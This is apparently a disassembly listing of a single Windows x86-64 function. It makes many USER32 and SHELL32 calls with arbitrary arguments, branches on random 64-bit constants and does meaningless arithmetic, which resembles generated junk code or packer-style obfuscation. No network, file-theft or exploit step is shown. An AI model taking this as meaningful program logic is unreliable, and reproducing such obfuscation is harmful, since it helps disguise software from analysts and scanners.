call qword [sym.imp.USER32.dll_DlgDirListA]
mov dword [rsp + 0x17ec], eax
mov rax, qword [rsp + 0x2d68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2d78]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x660], ax
jmp 0x14010a5ff
movsx eax, byte [rsp + 0xd0]
movsx ecx, byte [rsp + 0xcd]
shl eax, cl
movsx ecx, byte [rsp + 0xcf]
mov dword [rsp + 0x2894], ecx
mov rdx, qword [rsp + 0x2d90]
movsx edx, byte [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x2894]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jg 0x14010a5ff
movzx eax, byte [rsp + 0xce]
mov rcx, qword [rsp + 0x2d70]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x2cf8]
mov byte [rcx], al
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov qword [rsp + 0x2da8], rax
movzx eax, word [rsp + 0x664]
mov rcx, qword [rsp + 0x2c50]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x65c], ax
movsx eax, byte [rsp + 0xcf]
movsx ecx, byte [rsp + 0xcd]
add eax, ecx
mov rcx, qword [rsp + 0x2e68]
mov byte [rcx], al
mov dword [rsp + 0x40], 0xa
lea rax, [rsp + 0xce]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xd7
lea rax, [rsp + 0x2c38]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x10b88]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x2dc0]
lea r8, [rsp + 0xcd]
mov rdx, qword [rsp + 0x10b88]
mov rcx, qword [rsp + 0x2de0]
call qword [sym.imp.USER32.dll_UpdateLayeredWindow]
mov dword [rsp + 0x1794], eax
mov rax, qword [rsp + 0x2d20]
mov ecx, dword [rsp + 0x17d0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x2d20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2d88]
mov rcx, qword [rsp + 0x2d18]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x2c40], rax
mov rax, qword [rsp + 0x2d68]
movzx ecx, word [rax]
call fcn.14010b2e0
nop
mov r9d, ILCreateFromPathA
mov r8d, 0xcf
mov edx, 0xd2
mov rcx, qword [rsp + 0x2de0]
call qword [sym.imp.USER32.dll_CheckRadioButton]
mov dword [rsp + 0x18fc], eax
mov eax, dword [rsp + 0x1798]
mov ecx, dword [rsp + 0x1714]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1728], eax
movzx eax, byte [rsp + 0xce]
mov byte [rsp + 0x2898], al
cmp byte [rsp + 0x2898], 0xcb
je 0x14010a72a
jmp 0x14010a743
movsx eax, byte [rsp + 0xcd]
movsx ecx, byte [rsp + 0xd0]
add eax, ecx
mov byte [rsp + 0xcf], al
mov rax, qword [rsp + 0x2d50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x670]
sub eax, ecx
mov rcx, qword [rsp + 0x2c98]
mov word [rcx], ax
mov rdx, qword [rsp + 0x10df8]
mov rcx, qword [rsp + 0x2d30]
call qword [sym.imp.USER32.dll_DragDetect]
mov dword [rsp + 0x17d8], eax
mov r9d, dword [rsp + 0x1788]
mov rax, qword [rsp + 0x2cc0]
movzx r8d, byte [rax]
mov edx, dword [rsp + 0x1788]
mov rax, qword [rsp + 0x2c50]
movzx ecx, word [rax]
call fcn.14010b860
nop
jmp 0x14010a7e0
lea rcx, [rsp + 0x2d80]
call qword [sym.imp.USER32.dll_GetCaretPos]
mov dword [rsp + 0x16f4], eax
mov rax, qword [rsp + 0x2db0]
mov ecx, dword [rsp + 0x1728]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x2dc0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1788]
movzx ecx, al
mov eax, dword [rsp + 0x172c]
shr eax, cl
mov rcx, qword [rsp + 0x2d20]
mov dword [rcx], eax
call fcn.14010bb20
nop
jmp 0x14010a8a4
movsx eax, word [rsp + 0x660]
mov dword [rsp + 0x289c], eax
cmp dword [rsp + 0x289c], 0x6eff
je 0x14010a828
jmp 0x14010a841
movzx eax, word [rsp + 0x65c]
movzx ecx, word [rsp + 0x664]
shl eax, cl
mov word [0x14015ae50], ax
mov rax, qword [rsp + 0x2cf8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2d70]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x2d48]
mov byte [rcx], al
lea rcx, [rsp + 0x2da8]
call qword [sym.imp.USER32.dll_GetCursorInfo]
mov dword [rsp + 0x1810], eax
mov r9, qword [rsp + 0x2c48]
mov rax, qword [rsp + 0x2d68]
movzx r8d, word [rax]
mov rax, qword [rsp + 0x2d68]
movzx edx, word [rax]
mov ecx, dword [rsp + 0x1788]
call fcn.14010c2d0
nop
mov rax, qword [rsp + 0x2d20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1788]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x172c], eax
mov r8d, SHGetNewLinkInfoA
lea rdx, [rsp + 0x112c0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetKeyNameTextA]
mov dword [rsp + 0x1798], eax
mov rax, qword [rsp + 0x2db0]
mov ecx, dword [rsp + 0x1798]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x2dc0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2c48]
mov qword [rsp + 0x10e10], rax
movabs rax, 0xfdad9a20437df6a
cmp qword [rsp + 0x10e10], rax
je 0x14010a937
movabs rax, 0x6fb972d2a81b74a4
cmp qword [rsp + 0x10e10], rax
je 0x14010a9a4
jmp 0x14010a9c0
mov rax, qword [rsp + 0x2d88]
mov rcx, qword [rsp + 0x2cd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2c40], rax
mov rax, qword [rsp + 0x2d68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2e10]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x2d68]
mov word [rcx], ax
mov r9d, ILCombine
mov r8d, 0x9d
mov edx, SHSetInstanceExplorer
mov rcx, qword [rsp + 0x2de0]
call qword [sym.imp.USER32.dll_DefWindowProcA]
mov qword [rsp + 0x2e38], rax
jmp 0x14010a9c0
movsx eax, byte [rsp + 0xcd]
mov rcx, qword [rsp + 0x2cc0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xcf], al
mov rax, qword [rsp + 0x2cd0]
mov rcx, qword [rsp + 0x2d60]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x2bf0]
mov rdx, qword [rsp + 0x2c48]
sar rdx, cl
mov rcx, rdx
cmp rax, rcx
jg 0x14010aa89
movzx eax, byte [rsp + 0xcd]
mov byte [rsp + 0x28a0], al
cmp byte [rsp + 0x28a0], 2
je 0x14010aa1a
cmp byte [rsp + 0x28a0], 0x7e
je 0x14010aa74
jmp 0x14010aa89
mov rax, qword [rsp + 0x2d70]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2d48]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x2d70]
mov byte [rcx], al
mov eax, dword [rsp + 0x1714]
mov ecx, dword [rsp + 0x1728]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1798], eax
mov rax, qword [rsp + 0x2d20]
mov ecx, dword [rsp + 0x1788]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x2d20]
mov dword [rcx], eax
jmp 0x14010aa89
mov rcx, qword [rsp + 0x2de0]
call qword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov dword [rsp + 0x1770], eax
mov rax, qword [rsp + 0x2c98]
movzx r9d, word [rax]
movzx r8d, byte [rsp + 0xce]
movzx edx, byte [rsp + 0x8a]
movzx ecx, byte [rsp + 0xce]
call fcn.14010cc00
nop
jmp 0x14010ab45
mov rax, qword [rsp + 0x2d20]
mov eax, dword [rax]
mov dword [rsp + 0x28a4], eax
cmp dword [rsp + 0x28a4], 0x92e5519d
je 0x14010aad9
jmp 0x14010aafd
lea r8, [rsp + 0x10f50]
lea rdx, str.Atones_anyway
mov rcx, qword [rsp + 0x2ee0]
call qword [sym.imp.USER32.dll_GetClassInfoA]
mov dword [rsp + 0x17fc], eax
movzx eax, byte [rsp + 0x8a]
movzx ecx, byte [rsp + 0xce]
add eax, ecx
mov rcx, qword [rsp + 0x2d70]
mov byte [rcx], al
mov rax, qword [rsp + 0x2cd0]
mov r9, qword [rax]
movzx r8d, word [rsp + 0x660]
movzx edx, word [rsp + 0x660]
mov rax, qword [rsp + 0x2d20]
mov ecx, dword [rax]
call fcn.14010c2d0
nop
lea rdx, [rsp + 0x1728]
mov rcx, qword [rsp + 0x2da8]
call qword [sym.imp.USER32.dll_SetWindowPlacement]
mov dword [rsp + 0x16c0], eax
mov rax, qword [rsp + 0x2d80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcd]
sub eax, ecx
mov byte [rsp + 0xcf], al
mov cl, 0xb8
call qword [sym.imp.USER32.dll_IsCharUpperA]
mov dword [rsp + 0x1780], eax
mov rax, qword [rsp + 0x2cf8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x8a]
xor eax, ecx
mov rcx, qword [rsp + 0x2d70]
mov byte [rcx], al
mov rax, qword [rsp + 0x2d88]
mov rax, qword [rax]
mov qword [rsp + 0x10e18], rax
movabs rax, 0x39b2e63cd287bf63
cmp qword [rsp + 0x10e18], rax
je 0x14010abe9
movabs rax, 0xe8923c382d29c815
cmp qword [rsp + 0x10e18], rax
je 0x14010ac21
jmp 0x14010ac40
mov edx, ILGetNext
mov rcx, qword [rsp + 0x2d30]
call qword [sym.imp.USER32.dll_GetWindowLongA]
mov dword [rsp + 0x1770], eax
mov rax, qword [rsp + 0x2d78]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x660]
sar eax, cl
mov word [0x14015a008], ax
jmp 0x14010ac40
mov rax, qword [rsp + 0x2dc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1714]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2db0]
mov dword [rcx], eax
lea r9, [rsp + 0x10ff0]
mov r8d, 1
mov edx, 0xe4
mov rcx, qword [rsp + 0x2f60]
call qword [sym.imp.USER32.dll_GetMenuItemInfoA]
mov dword [rsp + 0x17d8], eax
mov rax, qword [rsp + 0x2cc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcd]
shl eax, cl
mov rcx, qword [rsp + 0x2cc0]
mov byte [rcx], al
jmp 0x14010ad00
mov rax, qword [rsp + 0x2cf8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2d48]
movzx ecx, byte [rcx]
add eax, ecx
movzx ecx, byte [rsp + 0x8a]
movzx edx, byte [rsp + 0xce]
sub ecx, edx
cmp eax, ecx
jge 0x14010ad00
mov eax, dword [rsp + 0x1728]
mov dword [rsp + 0x28a8], eax
cmp dword [rsp + 0x28a8], 0x37905a62
je 0x14010ace1
cmp dword [rsp + 0x28a8], 0x387db68a
je 0x14010ace9
jmp 0x14010ad00
call fcn.14010bb20
nop
jmp 0x14010ad00
mov rax, qword [rsp + 0x2cd0]
mov rax, qword [rax]
sar rax, 3
mov qword [rsp + 0x2c48], rax
mov rax, qword [rsp + 0x2ca8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2c98]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14015ae50], ax
mov rax, qword [rsp + 0x2d20]
mov ecx, dword [rsp + 0x172c]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x2d20]
mov dword [rcx], eax
mov dword [rsp + 0x20], 1
mov r9d, 0xd9
mov r8d, 0xb7
mov edx, reloc.SHELL32.dll_ILCloneFirst
mov rcx, qword [rsp + 0x2da8]
call qword [sym.imp.USER32.dll_SetScrollRange]
mov dword [rsp + 0x17d8], eax
mov rax, qword [rsp + 0x2c40]
mov rcx, qword [rsp + 0x2d18]
mov qword [rsp + 0x10e20], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10e20]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x2cd8]
mov qword [rcx], rax
jmp 0x14010aee3
mov rax, qword [rsp + 0x2c40]
mov qword [rsp + 0x10e28], rax
movabs rax, 0x3afd0172548343e9
cmp qword [rsp + 0x10e28], rax
je 0x14010adc9
jmp 0x14010addf
mov eax, dword [rsp + 0x172c]
add eax, 0x9924796e
mov rcx, qword [rsp + 0x2d20]
mov dword [rcx], eax
movzx eax, word [rsp + 0x65c]
mov rcx, qword [rsp + 0x2c98]
movzx ecx, word [rcx]
shl eax, cl
movzx ecx, word [0x14015ae50]
mov dword [rsp + 0x28ac], ecx
mov rdx, qword [rsp + 0x2c50]
movzx edx, word [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x28ac]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x14010ae50
movsx eax, byte [rsp + 0xcd]
xor eax, 0x74
mov rcx, qword [rsp + 0x2cc0]
mov byte [rcx], al
movzx eax, word [rsp + 0x65c]
mov rcx, qword [rsp + 0x2c50]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x14015ae50], ax
mov r9d, 0xd6
mov r8d, 0xa
lea rdx, [rsp + 0x65c]
mov rcx, qword [rsp + 0x2f40]
call qword [sym.imp.USER32.dll_DrawFrameControl]
mov dword [rsp + 0x16c0], eax
mov rax, qword [rsp + 0x2c68]
mov rcx, qword [rsp + 0x2c40]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x2c68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2cd0]
movabs rcx, 0x4cc1bd99a451a1a
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x2c48], rax
mov r9d, dword [rsp + 0x172c]
mov rax, qword [rsp + 0x2cc0]
movzx r8d, byte [rax]
mov edx, dword [rsp + 0x172c]
movzx ecx, word [rsp + 0x65c]
call fcn.14010b860
nop
mov eax, dword [rsp + 0x1728]
sub eax, 0x31ecd79b
mov dword [rsp + 0x1714], eax
mov rax, qword [rsp + 0x2cd8]
mov rax, qword [rax]
mov qword [rsp + 0x10e30], rax
movabs rax, 0x1a5a981a911627d
cmp qword [rsp + 0x10e30], rax
je 0x14010af22
jmp 0x14010afb9
mov rax, qword [rsp + 0x2cc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcd]
sub eax, ecx
mov rcx, qword [rsp + 0x2cc0]
mov byte [rcx], al
mov r9d, 0xa8
mov r8d, 0x6d
mov rdx, qword [rsp + 0x2fa8]
mov rcx, qword [rsp + 0x2de0]
call qword [sym.imp.USER32.dll_HiliteMenuItem]
mov dword [rsp + 0x16f4], eax
movzx eax, word [rsp + 0x65c]
movzx ecx, word [0x14015ae50]
sub eax, ecx
mov rcx, qword [rsp + 0x2c98]
mov word [rcx], ax
lea rcx, [rsp + 0x65c]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov dword [rsp + 0x1800], eax
mov rax, qword [rsp + 0x2cf8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x8a]
add eax, ecx
mov byte [rsp + 0xce], al
jmp 0x14010afbf
call fcn.14010bb20
nop
jmp 0x14010afd6
mov rax, qword [rsp + 0x2cc0]
movsx eax, byte [rax]
sub eax, 9
mov byte [rsp + 0xcd], al
movabs rax, 0x6f732e1a73acb288
mov rcx, qword [rsp + 0x2c48]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2cd0]
cmp rax, qword [rcx]
je 0x14010b01f
mov r8d, 1
lea rdx, [rsp + 0x65c]
lea rcx, [rsp + 0x1714]
call qword [sym.imp.SHELL32.dll_ILAppendID]
mov qword [rsp + 0x3018], rax
mov rax, qword [rsp + 0x2ca8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2c98]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x65c], ax
mov rax, qword [rsp + 0x2c68]
mov rcx, qword [rsp + 0x2c40]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x2c68]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xcd]
mov byte [rsp + 0x28b0], al
cmp byte [rsp + 0x28b0], 0x4b
je 0x14010b07b
jmp 0x14010b07d
jmp 0x14010b0af
mov dword [rsp + 0x20], PathYetAnotherMakeUniqueName
lea r9, [rsp + 0x1714]
lea r8, [rsp + 0x2c80]
mov edx, 0xb6
mov rcx, qword [rsp + 0x2c28]
call qword [sym.imp.SHELL32.dll_ExtractIconExA]
mov dword [rsp + 0x172c], eax
mov rax, qword [rsp + 0x2cd8]
mov rcx, qword [rsp + 0x2c68]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x2c40], rax
lea rax, [rsp + 0x2cc0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x2c88]
lea r8, [rsp + 0x2cd0]
mov edx, reloc.SHELL32.dll_ILAppendID
lea rcx, [rsp + 0x2c40]
call qword [sym.imp.SHELL32.dll_PathMakeUniqueName]
mov dword [rsp + 0x1800], eax
mov rax, qword [rsp + 0x2c68]
mov rcx, qword [rsp + 0x2c40]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x2cd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2cd0]
movabs rcx, 0x7ae997f562c7d389
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2c48], rax
mov rax, qword [rsp + 0x2c98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2c50]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2c98]
mov word [rcx], ax
movabs rax, 0x365a605ad9246f92
mov rcx, qword [rsp + 0x2c48]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2c48], rax
mov rax, qword [rsp + 0x2c68]
mov rcx, qword [rsp + 0x2c40]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x2c68]
mov qword [rcx], rax
lea rdx, [rsp + 0x2d08]
lea rcx, [rsp + 0x11d10]
call qword [sym.imp.SHELL32.dll_ILFindChild]
mov qword [rsp + 0x2d08], rax
mov rax, qword [rsp + 0x2c50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2c98]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x2c50]
mov word [rcx], ax
movzx eax, byte [rsp + 0xce]
or eax, 0xcb
mov byte [rsp + 0x8a], al
mov rcx, qword [rsp + 0x10e38]
call qword [sym.imp.SHELL32.dll_SHChangeNotification_Unlock]
mov dword [rsp + 0x1800], eax
mov rax, qword [rsp + 0x2c40]
mov rcx, qword [rsp + 0x2c68]
mov qword [rsp + 0x10e40], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10e40]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x2c68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2c48]
sar rax, 0x31
mov qword [rsp + 0x2c48], rax
movzx eax, word [rsp + 0x65c]
add eax, 0xe25
mov word [rsp + 0x65c], ax
movabs rax, 0x44e7cef32d318a1a
cmp qword [rsp + 0x2c48], rax
jge 0x14010b2a1
lea rdx, [rsp + 0x11f20]
mov ecx, 0x80
call qword [sym.imp.SHELL32.dll_Shell_NotifyIconA]
mov dword [rsp + 0x1800], eax
movzx r9d, word [rsp + 0x65c]
movzx r8d, byte [rsp + 0x8a]
movzx edx, byte [rsp + 0x8a]
movzx ecx, byte [rsp + 0x8a]
call fcn.14010cc00
mov eax, dword [rsp + 0x1b40]
add rsp, 0x12138
pop rdi
pop rsi
ret